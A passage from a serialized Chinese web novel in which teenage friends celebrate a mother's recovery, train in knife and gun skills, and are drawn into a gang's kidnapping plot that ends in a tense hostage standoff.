时间仿佛凝固了。只有墙上的电子钟,红色的数字冷酷地跳动着:“滴答…滴答…”每一秒都像一个世纪那么漫长。手术室门上那盏代表“手术中”的红灯,像一只不知疲倦的眼睛,固执地亮着,灼烧着少年们紧绷的神经。就在焦虑像藤蔓一样快要将他们勒窒息时,那盏刺眼的红灯,终于,毫无征兆地熄灭了!
四个身影几乎同时弹起,冲向那扇生死之门。门开了,走出来的医生一脸疲惫,摘下口罩,露出的却是一丝难以置信的神情:“奇迹,病人的求生意志太强了。我从医这么多年,见过无数渴望活下去的眼神,但她的眼睛里,好像燃烧着别的什么,一种我说不清的东西。好在,手术成功了。”他顿了顿,拦住就要往里冲的苏旭,“小伙子,稳住!现在还不能进,危险期还没过。你这一冲,我们这几个小时可就白忙活了。”
苏旭像被钉在原地,只能踮着脚,眼巴巴地望着门缝里透出的微光,一边胡乱抹着汹涌而出的泪水,一边语无伦次地道谢:“谢,谢谢医生!谢谢…”其他人也长长地吁出一口气,仿佛卸下了千斤重担。
陈曦轻轻拉了拉苏旭的衣角,声音带着劫后余生的沙哑:“好啦,先让阿姨休息。我们去吃点东西,补充能量,后面还有仗要打呢!瞧你这点出息,眼泪跟自来水似的!”张霆琛也用力拍拍苏旭的背,试图活跃气氛:“就是!最难的一关都闯过来了!走,好好搓一顿,庆祝咱妈首战告捷!我请!”
“我请!”苏旭***着说。李辰浩毫不客气地翻了个白眼,伸手揉乱了苏旭的头发:“得了吧你!兜比脸还干净!还没我钱多呢!”这句熟悉的调侃像一把钥匙,瞬间打开了凝结的空气。压抑已久的笑声终于爆发出来,带着泪水的咸涩,也带着希望的微甜,暂时冲散了医院的阴霾。
三天后,危险期终于平稳度过。苏旭一马当先冲到床边,眼睛亮晶晶的:“妈!感觉怎么样?好点没?”
苏母还很虚弱,带着氧气罩,只能轻轻地点了点头,但眼底的笑意却像水波一样漾开。旁边的护士立刻板起脸催促:“说好了就一眼啊!病人需要绝对安静休息!”
张霆琛上前一步,弯下腰,声音是少有的温柔:“干妈,”他用了这个称呼,顿了一下,似乎在鼓起勇气,“等您身体恢复了,我们一起去动物园!我和辰浩都没妈妈了,能叫您一声干妈吗?”李辰浩也在一旁用力点头,眼神充满期待。
这一声“干妈”,像一股暖流注入苏母心田。她激动得想点头回应,动作幅度一大,氧气罩差点滑脱!吓得值班医生魂飞魄散,连推带搡地把四个人轰出了病房:“出去出去!都出去!胡闹!”
被推搡着出门时,张霆琛和李辰浩还不忘回头,响亮地齐声喊:“干妈保重!我们先撤啦!”留下病房里面色铁青的医生和仪器旁惊魂未定的护士。
走廊上,苏旭猛地张开双臂,深深吸了一口自由的空气,仿佛要把所
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有的压抑都呼出去,然后扯开嗓子,用尽全身力气大喊:“我妈好喽!”
话音未落,后脑勺就挨了李辰浩不轻不重的一巴掌:“没大没小!我们还没发话呢!”苏旭摸着脑袋,一脸懵懂。只见另外三人迅速交换眼神,突然手拉着手,异口同声,喊得比他还响:“干妈好喽!”喊完,张霆琛得意地冲苏旭一扬下巴:“懂不懂规矩?我们喊完了才轮到你!”
苏旭愣了一下,随即恍然大悟,怪叫一声:“靠!这还论资排辈?!”张牙舞爪地就扑向李辰浩和张霆琛。三个少年瞬间在走廊里追逐打闹成一团,笑声和叫嚷声震得天花板嗡嗡响。结局毫无悬念,苏旭被张霆琛一个锁喉,李辰浩趁机挠他痒痒,最后只能举手投降,笑得喘不过气。
闹够了,李辰浩看看表:“行了行了,我得去找薛妈报道。你俩,”他指指张霆琛和苏旭,“该去训练场了吧?”
张霆琛也瞥了眼腕表,点点头:“嗯,到点儿了。”他转向苏旭,下巴一抬,“走了,小旭!”
苏旭却下意识地看向陈曦,眼神询问。陈曦其实很喜欢看他们在训练场上挥汗如雨的样子,尤其是苏旭那股拼命的劲头。但今天,她摆摆手,笑得狡黠:“我就不去啦,你们不用念书,我可还要呢。”她心里盘算的是商场橱窗里那条新到的连衣裙,哪个少女不爱美呢?不过,她更不想打扰他们训练。
苏旭有点小失落,但也理解。他忽然一步蹿过去,在陈曦脸颊上飞快地“啵”了一下,然后拉着张霆琛和李辰浩拔腿就跑!
“苏旭!你个不要脸的!”陈曦的尖叫带着羞恼在走廊炸开,“跟你说了多少次!注意场合!大庭广众的!明天让我逮着你你就死定了!”
苏旭跑得头也不回,一脸得逞的坏笑。可陈曦气鼓鼓的声音又追了过来,带着一丝狡黠的命令:“大哥!二哥!给我狠狠教训他!”
话音刚落,正跑着的苏旭就感觉左右肩膀同时一沉!张霆琛和李辰浩像两座小山一样“骑”到他身上,毫不客气地开始“蹂躏”。苏旭的“惨叫”和求饶声立刻响起。落在后面的陈曦,看着前面扭作一团的三个身影,得意地比了个“V”字手势,笑容像阳光下绽放的花朵。
然而,相邻的吉市,一间拉着厚重窗帘的昏暗房间里,气氛却截然相反。刘文殊像一头焦躁的困兽,在昂贵的真皮座椅上再也坐不住。他抓起电话,拨通了一个加密号码。电话一接通,压抑已久的怒火如同火山般喷发:
“都他妈多久了?!老子养你们这群废物这么多年!现在要用你们了,一个个给老子装死?!嗯?!”咆哮声震得话筒嗡嗡作响。
电话那头,五虎之一“鬼发”的声音传来,低沉、平板,没有任何情绪波动,像冰冷的金属摩擦:“大哥,目标现在被保护得滴水不漏。动手容易,但想把人活着带出市,难。不过,只要您要的是命,随时可以收网。”
“放屁!”刘文殊粗暴地打断,唾沫星子几乎喷到话筒上,“老子要活的!一个完整的人!给我个准话!到底还要多久能把那小子给我弄回来?!”
鬼发沉默了一瞬,声音依旧毫无波澜:“机会已经锁定。可以兵不血刃带他回来。但还需要等一个人。一个多月。”
“好!”刘文殊从牙缝里挤出这个字,眼中凶光毕露,“老子再给你两个月!两个月后,我要在吉市看见他!完整的!要是再办砸,你们就永远不用回来了”他冷笑一声,声音阴寒刺骨。
听筒里只剩下忙音。鬼发面无表情地放下电话,随即拨通了另一个加密短号:“3号。目标,给我钉死。丢了,我们都要死”他声音冰冷得没有一丝人气。
电话那头的3号,即使在安全的藏身处,也控制不住地打了个剧烈的寒颤,一股寒气从尾椎骨直窜上头顶。他用力咽了口唾沫,声音带着无法掩饰的颤抖:
“是!明白!绝不跟丢!”听筒里只剩下忙音,但那死亡般的威胁,却如同实质的冰锥,悬在了他的头顶,也悬在了远方那个刚刚迎来一丝光明的少年头顶。
第二十七章:归途惊变
秋意渐浓,又一个月的光阴悄然溜走。一个周日的清晨,苏旭没有像往常一样泡在训练场,而是牵着陈曦的手,漫步在铺满金黄落叶的小径上。脚下,干燥的落叶发出细碎的、令人愉悦的“咔嚓”声。苏旭的手臂自然地环着陈曦的肩膀,声音里是掩不住的雀跃:“曦曦,今天接咱妈出院,真高兴啊!”
陈曦依偎在他身侧,抬起那双水灵灵的大眼睛,目光温柔地落在苏旭脸上:“是啊,真好,在医院里闷了一个月,终于能回家了!一会儿接了妈,我们去动物园好不好?叫上大哥二哥!”苏旭宠溺地刮了下她小巧的鼻尖,笑道:“我早通知他们了,这会儿正往医院赶呢。”陈曦脸上绽开明媚的笑容,两人依偎着,脚步轻快地朝着医院方向走去。
走着走着,苏旭的脚步慢了下来,他侧过身,深深地看着陈曦,声音低沉而真挚:“曦曦,真的谢谢你。如果没有你,没有大家,我可能真的就”话未说完,陈曦就鼓起腮帮子,猛地推开他:“又来了!说多少遍了!不许再说谢谢!”她故意板起脸,挥舞着小拳头威胁道,“再说,我就让大哥二哥一起收拾你!”她的声音忽然软了下来,带着不容置疑的强调,“还有,那是咱妈!不是你一个人的!”苏旭被她突如其来的小脾气弄得一愣,随即,一个更大的笑容在他脸上漾开。他猛地弯腰,一把将陈曦拦腰抱起,在原地兴奋地转起圈来,爽朗的笑声响彻林间:“哈哈哈!我苏旭这辈子有你这媳妇,值了!无憾了!”陈曦惊叫一声,粉拳像雨点般落在他肩头:“啊!快放我下来!丢**了!”苏旭大笑着将她放下,趁她不备,飞快地在她脸颊上啄了一口,转身拔腿就跑。陈曦的脸颊瞬间像熟透的番茄般涨得通红,又羞又恼,拔腿就追:“死苏旭!你给我站住!看我不收拾你!别跑!”两人一前一后,在铺满落叶的小径上追逐嬉闹,清脆的笑声和叫嚷声在林间回荡,充满了纯粹的快乐。
同一片秋阳下,训练场上的气氛却截然不同。“太慢!还是太慢!”陈海沉喝一声,身形如电,拳脚带风,与张霆琛缠斗在一起。只见他一个干净利落的直拳破开防御,“砰!”张霆琛应声摔倒在地。他揉着发痛的脸颊坐起来,不满地嘟囔:“师傅!都跟您说了八百遍了!别打脸!我还要上学呢!顶着这一脸青紫肿包去学校,我这‘三号学生’的招牌都快成‘不良记录簿’了!”
陈海居高临下地瞥了他一眼,嘴角微扬:“小琰上了几天学堂,胆儿肥了,敢跟你海叔叫板了?老规矩,想不吃苦就练成真功夫?做梦!刀呢?起来!练刀!”张霆琛一骨碌爬起来,拍拍身上的灰:“今天真不行!得去接干妈出院,然后大伙儿约好了去动物园!”说完转身就要溜去更衣室。就在他转身的刹那,耳边“嗖!”一声锐响,一把闪着寒光的训练刀“笃”地一声,深深钉在他脚尖前的地面上!张霆琛吓得魂飞魄散,猛地回头:“师傅!您想吓死我啊?!这要扎到我”
陈海面无表情地掂起另一把刀,声音冷硬如铁:“刀者之境!第一境,求快、狠、准、稳。根本在劈、砍、刺!第二境,求灵、感、动,人刀合一!至于第三境,刀法真谛,唯一个字——‘悟’!”他目光如炬,盯着张霆琛,“每人所悟皆不同!老子已在第二境,你以为我跟你似的,连把刀都扔不准吗?!”张霆琛悻悻然拔起地上的刀,小声嘀咕:“知道了知道了,又念叨一遍”摆开了架势。
陈海没好气地喝道:“知道还废话!动手!今天什么时候接住我五刀,什么时候滚蛋!”“五刀?!”张霆琛舌头都快惊掉了,“我接四刀都费老劲啊!”话音未落,陈海的刀已带着破空声斜劈而至!张霆琛躲闪不及,脸颊上瞬间多了一道细小的血痕!他心下一惊,一个狼狈的后滚翻拉开距离。眼看讲理无望,只能硬着头皮上了!刚稳住身形,陈海的第二刀又到!张霆琛下意识举刀格挡,却见那只是虚晃一招!陈海手腕一抖,刀尖毒蛇般向上轻挑,精准地点在了张霆琛的喉结前!冰凉的触感让张霆琛瞬间憋红了脸,冷汗涔涔而下。他慌忙后退,陈海却如影随形,刀势连绵抢攻。张霆琛脚下踩到一块碎石,一个趔趄向后倒去!心中暗叫:完了!照这架势,不到训练结束别想走了!情急之下,他脑海中电光火石般闪过陈海总念叨的要诀——“快、狠、准、稳!劈、砍、刺!”几乎是本能,他单掌猛撑地面,身体借力陀螺般急旋,手中刀化作一道寒光,竟使出一记凶狠刁钻的回马“枪”,直刺陈海胸腹!
陈海眼中闪过一丝意外,但丰富的实战经验让他反应奇快!他身形鬼魅般侧滑避开锋芒,同时出手如电,精准地扣住张霆琛握刀的手腕,巧劲一扭,张霆琛的刀脱手落地。而陈海的刀锋,已稳稳地抵在了张霆琛的咽喉上!只需再进半分,便是生死立判!
然而,出乎意料的是,陈海缓缓收刀入鞘,背过身去,声音里听不出喜怒:“滚吧。记住刚才那一刀的感觉。用刀,就要有破釜沉舟、逼得对手喘不过气的狠劲!今天就是要你学会进攻!但更要记住,”他猛地转身,目光锐利如刀锋,“这一招我教过你,不到生死关头,绝不可轻用!若遇真正高手,随
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手便可化解,就像刚才,下一秒你就成了砧板上的鱼肉,任人宰割!”
张霆琛虽然身体还僵在原地,心早已飞到了医院。陈海后面的话,他一个字也没听进去。陈海话音一落,他如蒙大赦,转身就跑,只留下一句飘散在风中的:“谢师傅!再见啦!”
张霆琛出来的已经算“早”了,李辰浩那边想提前结束训练更是难上加难。薛妈可不会轻易放人。当李辰浩试探着提出要走时,薛妈眼皮都没抬,只丢下一句:“想走?行。十发**,70%命中率,红心。”
李辰浩摸枪才三个月。70%命中率,意味着十枪至少七中红心,而且要求连续快速击发!对他这种新手来说,稳扎稳打尚可,连发速射简直是地狱难度。他深知薛妈说一不二的性格,心里正发愁,薛妈的手机响了。薛妈瞥了眼屏幕,嘴角勾起一丝了然的笑意,对李辰浩扬了扬手机:“喏,你的救星来了。”
按下接听键,张霆琛那甜得能齁**的声音立刻从听筒里溢出来:“薛妈~~我最好最好的薛妈~您最疼小琰了对不对?您就让辰浩出来嘛~好不好嘛~”薛妈听着,脸上笑意更深,慢悠悠道:“就你这张小嘴儿最会哄人。行是行,不过有条件。”
张霆琛在电话那头拍胸脯,声音豪迈:“您说!上刀山!下火海!万死不辞!不过我知道您最疼我,肯定舍不得让我真去”说完自己先嘿嘿乐起来。
薛妈哼笑一声:“少给我戴高帽,这回没用。条件是晚上你必须回来吃饭,否则免谈。”张霆琛顿时为难了:“哎呀薛妈,都说好了大伙儿一起接干妈,然后去动物园玩呢,时间哪赶得回来”他眼珠一转,讨价还价道,“要不我把大伙儿都给您带回来?一块儿吃?”
薛妈似乎早料到他会这么说,爽快道:“随你。只要你人回来,带多少张嘴都行。答不答应?”这条件倒可以接受。张霆琛连忙应下:“答应答应!保证回来!”就这样,李辰浩也提前“解放”了。从这对话不难看出,薛妈对张霆琛那份无言的偏爱有多深。这份偏爱,也成了日后张霆琛豁出性命也要为薛妈复仇的种子。当然,这些都是后话了。
就在四个年轻人满怀憧憬,准备迎接这充满欢笑与团聚的一天时,谁也没有察觉,一张无形的阴谋之网,已在苏旭母亲所在的医院周围悄然收紧。医院侧门僻静的巷口,一个帽檐压得很低的男人,警惕地扫视四周,对着袖口隐藏的对讲机,声音冰冷而短促:‘二号’行动,‘三号’接应。”指令发出,一个行动迅捷的身影,径直朝着苏母的病房楼层快步走去。
第二十八章:张霆琛的抉择
苏旭的母亲,脸上带着大病初愈后特有的、略显苍白却充满希望的红晕。虽然医生叮嘱还需静养,但终于能摆脱那些苦涩的药罐子,离开这满是消毒水味的病房。她正仔细地叠着最后一件衣服,嘴角噙着笑,满心欢喜地等着儿子苏旭和干儿子干女儿来接她回家。想到这几个不是亲生却胜似亲生的孩子,尤其是他们帮忙治好了自己的顽疾,更对苏旭真心实意,懂事又孝顺,苏母就觉得心头暖烘烘的。
“咔哒”一声轻响,病房门被推开。进来的是一位穿着白大褂、戴着口罩的男医生,步履从容。他走到苏母面前,声音平缓:“您好,韩女士。您的出院手续已经办妥了,麻烦您在这里签个字。”他递过来一份文件。
苏母有些疑惑地抬起头:“刚才护士不是说签完上午那份就可以了吗?怎么还要签?”她记得清清楚楚,上午那份确认单她已经签好了。
医生不慌不忙,语气带着职业性的温和解释:“这是两份不同的文件。上午那份是出院确认,这份是院方的一点额外请求。您看,您的病例特殊,一直是院长亲自跟进治疗的,取得了这么好的效果。院方希望您出院前能去院长楼拜访一下院长,当面表达感谢,同时呢……”他顿了一下,声音压低了些,带着点商量的意味,“您的成功治愈对我们医院的口碑很有帮助,这份宣传授权书,希望您能签一下,也算是给我们一个对外宣传的凭据,让更多人受益。”
苏母一听觉得合情合理。人家院长费心费力治好了自己,帮医院宣传一下,举手之劳,理所应当。她心头的疑虑消散,爽快地点点头:“应该的,应该的。”说着便放下手中的衣物,站起身准备跟医生走。
病房在一楼,不用上下楼梯。医生领着她穿过安静的走廊,没有走向熟悉的门诊大楼前厅,反而七拐八绕地走向了僻静的后院。空气里的消毒水味渐渐被草木和泥土的气息取代。
韩女士心里那点疑惑又冒了出来,脚步不由得放慢:“哎?大夫,院长办公室不是在前楼吗?怎么往后院走啊?”她望着前方医生沉默的背影,一种说不清道不明的不安悄然爬上心头。
就在这时!一阵急促的引擎轰鸣由远及近!一辆灰扑扑的面包车如同潜伏的野兽,猛地从侧方冲出来,急刹在他们身边!车门一下被粗暴拉开,两条粗壮的黑影如同饿虎扑食般蹿出,不由分说地一左一右钳制住了苏母的手臂!
“啊,你们干什……”韩女士魂飞魄散,惊骇的尖叫刚冲出喉咙,就被一块浸透了刺鼻气味的湿毛巾死死捂住了口鼻!浓烈的异味瞬间冲进鼻腔,她只觉天旋地转,所有的挣扎在那铁钳般的力量下都成了徒劳,被连拖带拽地塞进了那散发着皮革和机油混合怪味的车厢里。
车窗外,那名“医生”缓缓摘下口罩,露出下方一张冰冷、毫无波澜的脸。他哪里是什么医生?他正是代号“二号”的行动执行者!任务完成,他冷漠地看着面包车绝尘而去,迅速消失在医院后巷的尽头。
另一边,苏旭和陈曦兴高采烈地推开病房门,迎接他们的却只有空荡荡的病床和叠放整齐的被褥。“妈?”苏旭一愣,环顾四周,“人呢?说好在这儿等我们的,这刚好一点就到处溜达!”他语气里带着点无奈的埋怨。
陈曦笑着说道:“瞧你说的,咱妈还能长翅膀飞了?肯定是去洗手间了嘛。”话音未落,床头柜上一部手机突兀地响了起来,苏旭顺手拿起:“喂,妈?你跑哪去了……”他话没说完,脸上的笑容瞬间冻结,血色“唰”地一下褪得干干净净!
听筒里传来的,是一个陌生男人冰冷、带着金属质感的威胁声音:“听着!你妈在我们手上!不想她有事,就给我保持安静,按我说的做!敢乱喊乱叫,后果自负!”那声音像毒蛇的信子,舔舐着苏旭的耳膜。
苏旭只觉得一股寒气从脚底板直冲天灵盖,心脏狂跳得几乎要撞出胸腔,刚才那点埋怨瞬间化为极度的恐惧。他死死捂住话筒,声音抖得不成样子:“你们是谁?!想干什么?!别动我妈!”
电话那头的男人似乎很满意他这副反应,语气带着掌控一切的残忍:“现在,按我说的做,你妈就能活命!第一步,看见旁边病床的枕头了吗?里面藏着两部手机。一部你拿着,另一部,让你身边那个女人,”他显然知道陈曦的存在,“马上送去给张霆琛!现在!立刻!把你们身上原来的手机,统统给我扔了!从这一刻起,不准再用你们的旧手机联系任何人!”最后,那声音陡然拔高,充满了赤裸裸的杀意:“记住!敢告诉其他人,就等着给你妈收尸!”
不等苏旭反应,冰冷的指令再次砸来:“现在,你一个人,立刻出医院!门口停着一辆出租车,车牌号是********!看见就给我上去!立刻!”
“别伤害我妈!我……”苏旭对着话筒嘶吼,回应他的只有一片忙音。
“小旭!怎么了?!是不是妈出事了?!”陈曦看着苏旭瞬间惨白如纸的脸和失魂落魄的样子,心猛地揪紧,焦急地抓住他的胳膊摇晃。
苏旭仿佛被抽走了所有力气,猛地一把抱住陈曦,声音带着哭腔和不顾一切的决绝:“我妈被绑了!我要去救她!”他像想起了什么,猛地扑到旁边病床,发疯似的撕开枕头,果然摸出两部崭新的手机!他把其中一部塞到陈曦手里,语无伦次地叮嘱:“拿…拿着这个!去找二哥!记住!千万不能用原来的手机了!”说完,他像离弦之箭般冲出病房,头也不回。
陈曦脑子“嗡”的一声,巨大的恐惧攫住了她。她追到医院门口,只来得及看到苏旭一头钻进了一辆停在路边的出租车,车子瞬间汇入车流消失不见。
追?陈曦下意识想拦车,但理智在电光火石间拉住了她,对方明显有备而来,苏旭一个人去太危险了!得找帮手!她慌乱地掏出自己的手机,手指哆嗦着,几乎是凭着本能按下了张霆琛的号码。
“小妹?别急,我们马上到!动物园门口见!”电话那头传来张霆琛沉稳的声音,背景音还有奔跑的风声。
“二哥!呜……”陈曦一听到熟悉的声音,强忍的恐惧和委屈瞬间爆发,泣不成声,“我…我在医院门口!你们快来!出大事了!妈…妈被……”
张霆琛和李辰浩几乎是同时刹住了脚步,电话里陈曦的哭声和断断续续的话语像一盆冰水浇下。两人对视一眼,都看到了对方眼中的震惊和凝重。
“小妹别哭!我们就在附近!马上到!”张霆琛低吼一声,拉着李辰浩用百米冲刺的速度狂奔向医院正门。
远远看到陈曦孤零零
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地站在门口,哭得浑身发抖。张霆琛一个箭步冲上去扶住她:“小妹!冷静点!到底怎么回事?小旭呢?!”
陈曦抽噎着,语无伦次地将苏母失踪、神秘电话、苏旭被叫走以及换手机的要求一股脑说了出来。
“绑匪点名要我去?”张霆琛眉头拧成了疙瘩,敏锐地抓住了关键,“为什么指定换手机?”
就在这时,陈曦递过来的那部新手机,如同催命符般尖锐地响了起来!张霆琛深吸一口气,按下了接听键:“我是张霆琛!你们到底想怎么样?!”
还是那个冰冷的男声,带着不容置疑的命令:“张霆琛!和你旁边的人,立刻!上你们旁边停着的那辆出租车!立刻上车!晚一秒,你的兄弟苏旭,还有你那位干妈,都得死!”
张霆琛的心猛地一沉!对方的目标果然是自己!而且是用兄弟和母亲的命做筹码!他几乎是本能地怒吼出声:“不行!”他绝不能把李辰浩和陈曦也拖进这未知的险境!
“走!”李辰浩反应极快,瞬间明白了局势的凶险和张霆琛的顾虑。他毫不犹豫地和同样心急如焚的陈曦一左一右架起张霆琛的胳膊,用尽力气把他往旁边那辆看似普通的出租车里推!张霆琛挣扎了一下,但看到陈曦哭红的双眼和李辰浩眼中不容置疑的坚定,他明白此刻没有别的选择,只能咬紧牙关,被两人硬塞进了后座。
车门刚关上,引擎便发出一声低沉而有力的咆哮,车子如离弦之箭般窜了出去!车内气氛压抑得让人窒息。李辰浩眼中寒光一闪,动作快如闪电!他手腕一翻,一把寒光闪闪的**已如毒蛇般悄无声息地抵在了驾驶座上司机的颈侧动脉上!“说!你们是谁?目的是什么?!”
被刀锋紧贴皮肤的司机却发出一声不屑的嗤笑,语气轻松得仿佛在谈论天气:“呵,尽管划!只要你敢动一下,”他微微侧头,嘴角勾起一抹残忍的弧度,“我保证,你那结拜兄弟苏旭,还有你认的干妈,会立刻变成两具冰冷的尸体!不信?你大可以试试!”那语气里的玩味和笃定,让李辰浩握着刀的手僵硬了。
“是你!”张霆琛死死盯着后视镜里司机那双冷漠的眼睛,“电话里的人!你到底想要什么?!”
“想要什么?”司机冷笑一声,方向盘猛地一打,车子拐进一条更僻静的小路,“当然是为了你!慕容廷把你藏得跟宝贝疙瘩似的,我们只好用点非常手段了。你以为你们很安全?告诉你们,你们走到哪儿,都有人盯着!你们的电话,早就被定位、被监听了!每一个字都逃不过我们的耳朵!只有这个女人,”他意指苏母,,“她的线路是干净的,而且,只有她,才能让你张霆琛乖乖就范!”
李辰浩的**微微颤抖:“所以你们逼我们扔掉手机?切断联系?”“聪明。”司机的声音带着一丝得意,“为了今天,我们可足足盯了你们好几个月!耐心得很!”
狭小的车厢里,空气仿佛凝固成了铅块。张霆琛的目光扫过身边强作镇定却脸色发白的陈曦,扫过紧握**、眼神喷火的李辰浩,最后定格在司机那冷漠的后脑勺上。一个沉重的决定在他心中轰然落定。他深吸一口气,声音低沉却带着破釜沉舟的力量,打破了死寂:
“停车,放了他两,苏旭和**妈,我跟你走!”
第二十九章:鬼发
张霆琛话音未落,李辰浩猛地转头,那双平日里总是带着不羁笑意的眼睛此刻燃烧着愤怒的火焰,死死钉在张霆琛脸上,几乎是咬着牙低吼:“不准你再这么说!”每
张霆琛没时间解释,急切的语气里带着不容置疑的决绝:“他们是冲我来的!不能连累你们,快走!”他的眼神扫过李辰浩和陈曦,焦灼得像热锅上的蚂蚁。
“走?”司机沙哑的声音突兀地插了进来,带着一丝冰冷的玩味,他透过后视镜瞥着后座,“上来就别想轻易下了。跟了你们这么久,你们这些小年轻那股子劲儿,说实话,挺有意思。”他干笑两声,像砂纸摩擦木头,“青春嘛,就该是火花四溅的样子……可惜啊,”话音陡然转冷,如同寒冰,“组织的任务,永远排第一。没到地头,谁也别想溜!放你们下去通风报信?当我傻么?”
车内瞬间陷入死寂,只有引擎沉闷的轰鸣和窗外呼啸而过的风声。李辰浩和张霆琛交换了一个沉重的眼神,彼此都看到了对方眼中的无力。
就在这时,引擎的咆哮声由远及近,刺眼的车灯如同野兽的眼睛,在后视镜里骤然亮起,紧紧咬住了他们这辆出租车的尾巴!不止一辆!
“该死!”司机狠狠咒骂一声,脚下猛力将油门踩到底,车身剧烈地往前一蹿!他扭头,目光刀子般剜向陈曦,声音里带着压抑的怒火:“小姑娘!要不是你自作聪明,用自己手机打了那个该死的电话,他们能跟这么紧?!现在,我可不敢打包票车上这几条小命都能囫囵个儿了!”
张霆琛和李辰浩猛地回头。车窗外,几道黑影如同跗骨之蛆,在昏暗的路灯下紧追不舍,车灯的光柱像是死神的探照灯,冰冷地锁定着他们。
李辰浩强迫自己冷静,声音带着一丝不易察觉的颤抖,试图做最后的谈判:“停车!放了我兄弟和干妈!你还能有条活路?”他紧盯着司机的后颈,指关节捏得发白。
司机置若罔闻,方向盘在他手中灵巧地转动,试图在车流中寻找缝隙。然而,身后的“尾巴”非但没有甩掉,反而越来越多,引擎的咆哮声汇成一片令人心悸的浪潮。
“啧…逼老子出绝招!”司机啐了一口,猛地抓起手边的对讲机,声音短促而冷酷:“启动B计划!”
命令刚落,车子冲过一个十字路口!诡异的一幕出现了:前方、侧方,瞬间涌出数辆一模一样的出租车,相同的车型,相同的颜色,甚至连那车牌号码都完全一致!
李辰浩的心沉到了谷底。他瞬间明白了:鱼目混珠,制造混乱!几辆车排成一线疾驰,每辆车窗后都隐约晃动着三个人影,在高速移动和昏暗光线下,根本无从分辨哪一辆才是真正的目标!一种被无形巨网笼罩的窒息感扼住了他的喉咙。
下一个十字路口,如同信号发出,所有的出租车猛地四散开来,像被惊散的鱼群,朝着不同的方向疾驰而去!追兵的车队猝不及防,瞬间失去了焦点,茫然地分头追去。张霆琛他们的车利用这混乱,一个急转弯,轮胎摩擦地面发出刺耳的尖叫,猛地扎进了一条狭窄幽深的小胡同,终于将喧嚣甩在了身后。
胡同里光线昏暗,只有车灯切割着浓重的阴影。车子粗暴地刹停在一辆早已等候的黑色轿车旁。司机推开车门,声音冰冷得不带一丝温度:“下车!所有人,滚进前面那辆车!”他晃了晃手中不知何时握紧的冰冷硬物,威胁的意味不言而喻,“磨蹭一秒,后果自负!”
张霆琛咬紧牙关,看了一眼李辰浩和陈曦。为了苏旭母子的安全,他们没有选择。三人沉默而迅速地钻进了那辆黑色轿车。
车子在夜色中穿行,窗外的城市灯火逐渐稀疏,最终被荒凉的郊野取代。车子停下,刺目的车灯前,横着一辆巨大的银色面包车。苏旭和他母亲瘫坐在冰冷的泥地上,万幸没有被捆绑,但苏母脸色惨白,苏旭则像一头受伤的小兽,眼中满是惊恐和愤怒。
车门打开,一个身影从面包车旁分离出来,一步步向他们走来。脚步异常沉稳,每一次落地都仿佛带着千钧之力,踩在碎石路上发出清晰的“咔嚓”声。月光勾勒出他高大健硕的轮廓。李辰浩和张霆琛的心同时一紧,这人浑身散发着一种经历过血与火的、令人头皮发麻的压迫感,绝对不简单。
那人径直走到张霆琛面前,距离近得能闻到他身上一股淡淡的硝烟和铁锈混合的冰冷气息。一张棱角分明的脸在阴影中显得格外冷酷,声音低沉沙哑,像生锈的刀片刮过玻璃:“我叫鬼发。他抬手指了指面包车,“你,跟我走。别反抗,其他人,活。”
“小琛!别跟他们走!快跑啊!”苏母猛地抬头,不顾一切地嘶喊起来,声音在寂静的旷野中格外凄厉。
“闭嘴!”站在苏母旁边的壮汉厉声呵斥,反手一个凶狠的耳光抽了过去!一声脆响在夜空回荡!苏母被打得头猛地一偏,嘴角渗出血丝。“妈!”苏旭目眦欲裂,挣扎着想扑过去。
“再动一下,老子先送你儿子上路!”壮汉的枪口瞬间顶在了苏旭的太阳穴上,冰凉的触感让苏旭浑身一僵。
出乎意料地,苏母挣扎着抬起头,嘴角的血迹格外刺眼,她看着苏旭,眼神里是母亲特有的决绝:“儿子,咱不能连累他们!让他们走!”
“妈!”苏旭的眼泪瞬间决堤,刚喊出声,那壮汉眼中凶光一闪,手起掌落,一记精准而狠辣的手刀重重劈在苏母颈侧!苏母身体一软,无声无息地瘫倒在地。“干妈!”张霆琛和李辰浩同时惊呼出声,心胆俱裂!
“我跟你们走!放人!别伤害他们!”张霆琛几乎是咆哮着,一步跨出,就要向鬼发走去。李辰浩本能地伸手去拽张霆琛的胳膊:“霆琛!”他的手刚碰到张霆琛的衣袖,旁边的鬼发动作快如鬼魅!一记凌厉的擒拿,手腕一翻一扣,一股沛然巨力传来,李辰浩整个人被硬生生扯得向后踉跄几步!
就在这踉跄后退的瞬间,李辰浩眼神一厉,右手闪电般探向腰间,再抬起时,一支乌黑锃亮的**,稳稳指向鬼发的眉心!枪身在月光下泛着冷硬的光泽。他胸膛剧烈起伏,声音因极致的愤怒和紧张而微微发颤,却异常清晰:“你是头儿?放人!否则,我打爆你的头!”
被枪口指着的鬼发,脸上非但没有惧色,反而扯出一个极其轻蔑的、如同毒蛇吐信般的笑容。他甚至微微向前倾了倾身体,让冰冷的枪口几乎贴上了自己的额头皮肤:“开枪啊?”他的声音带着一种令人毛骨悚然的玩味,“杀了我,他们只会开香槟庆祝。我的位置,有的是人排队等着坐。不过嘛”他目光转向昏迷的苏母和满脸是血的苏旭,又缓缓扫过张霆琛和李辰浩,“你这些兄弟朋友的命,可就只有一次。想清楚再扣**,小朋友。”最后三个字,带着浓浓的嘲讽。
李辰浩握枪的手稳如磐石,但额角豆大的汗珠却不受控制地滚落,沿着紧绷的脸颊滑下,砸在脚下的尘土里。冰冷的枪柄已被他掌心的汗水浸湿。空气凝固得如同铅块,压得人喘不过气。
“辰浩,放下枪”张霆琛的声音沙哑而沉重,带着一种深入骨髓的疲惫和绝望,“不要害了小旭和干妈”他转向鬼发,眼神里只剩下最后的坚持:“我跟你走!但你必须立刻放了他们!”
鬼发无所谓地耸了耸宽厚的肩膀,对着面包车旁边的手下微微扬了扬下巴。手下会意,粗暴地推了苏旭一把:“抱着你妈,赶紧滚蛋!”
苏旭愣了一下,随即像抓住救命稻草,连滚带爬地扑到母亲身边,用尽全身力气将她抱了起来。他小小的身躯承受着母亲的重量,摇摇晃晃地朝张霆琛他们这边挪动。陈曦见状,立刻冲上前帮忙搀扶。
此刻,虽然李辰浩的枪依旧指着鬼发,但那黑洞洞的枪口却显得如此无力。他眼睁睁看着朋友被推向深渊,却无法扣动**。时间仿佛被拉长,每一秒都煎熬无比。
就在张霆琛被两个壮汉一左一右架着,即将被塞进面包车门的瞬间!
